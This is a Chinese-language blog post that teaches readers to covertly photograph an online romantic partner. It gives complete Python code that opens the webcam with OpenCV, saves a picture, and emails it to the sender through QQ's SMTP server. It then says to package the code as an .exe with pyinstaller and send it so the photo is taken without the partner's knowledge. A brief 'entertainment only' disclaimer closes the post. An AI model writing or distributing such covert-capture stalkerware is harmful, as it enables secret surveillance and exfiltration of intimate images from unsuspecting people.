如何几行代码看到网恋对象的原型

发布于:2023-02-13 ⋅ 阅读:(790) ⋅ 点赞:(0)

小伙伴们日常生活中,应该时有看到网恋奔现翻车的热搜。那么如何自己写个简单的程序查看网友的长相呢。其实思路很简单打开摄像头——发送照片——打包发送好友。下面是我们用到的引用:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import cv2 as cv

首先我要能打开对方的摄像头在python中有很多这样的方法,本次小编用的是python中第三方库opencv中的函数,具体实现如下:

cap = cv.VideoCapture(0)
while (cap.isOpened()):
    ret_flag, Vshow = cap.read()
    cv.imshow("Capture_test", Vshow)
    cv.imwrite("post"  + ".jpg", Vshow)#保存拍摄的图片这里命名为post.jpg
    cap.release()
    cv.destroyAllWindows()
    break

现在图片有了那么我们如何获取到拍摄的图片呢,我们可以通过python的发送邮箱方式来将图片自动发送到我们的手机上。我们要到邮箱的 设置——帐户中开启pop3服务协议并获取授权码

# 配置邮箱信息
sender = 'xxxxxxx@qq.com'  # 发件人的地址
password = 'xxxxxxxxx'  # 此处是我们刚刚在邮箱中获取的授权码
receivers = 'xxxxxxxxxxx@qq.com'  # 邮件接受方邮箱地址,可以配置多个,实现群发,注意这里要是字符串

# 邮件内容设置
content = MIMEText("<html><h2>这是你的网恋对象.......</h2>", _subtype="html", _charset="utf-8")
msg = MIMEMultipart('related')
msg.attach(content)

# 添加图片附件
imageFile = r"post.jpg" #发送的图片路径,上面拍摄的图片会自动保存到根目录
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)
msg.attach(imageApart)


# 发件人信息
msg['From'] = sender

# 收件人信息
msg['To'] = receivers

# 通过授权码,登录邮箱,并发送邮件
try:
    server = smtplib.SMTP('smtp.qq.com')  # 配置QQ邮箱的smtp服务器地址
    server.login(sender, password)
    server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())
    print('发送成功')
    server.quit()

except smtplib.SMTPException as e:
    print('error', e)

最后的问题就是如何将写好的程序发送给对方了,我们可以利用pyinstaller可以将我们的程序打包成.exe可执行文件,发送给好友,在你的baby还在疑问的时候毫无防备的素养照片就发送到你的邮箱了。

 这次的小程序纯属小编一时脑洞大开的想法,仅供大家娱乐,请勿非法使用,如有雷同联系删除。同时也提醒小伙伴们要对网上的未知链接要谨慎下载,避免隐私泄露。


网站公告

今日签到

点亮在社区的每一天
去签到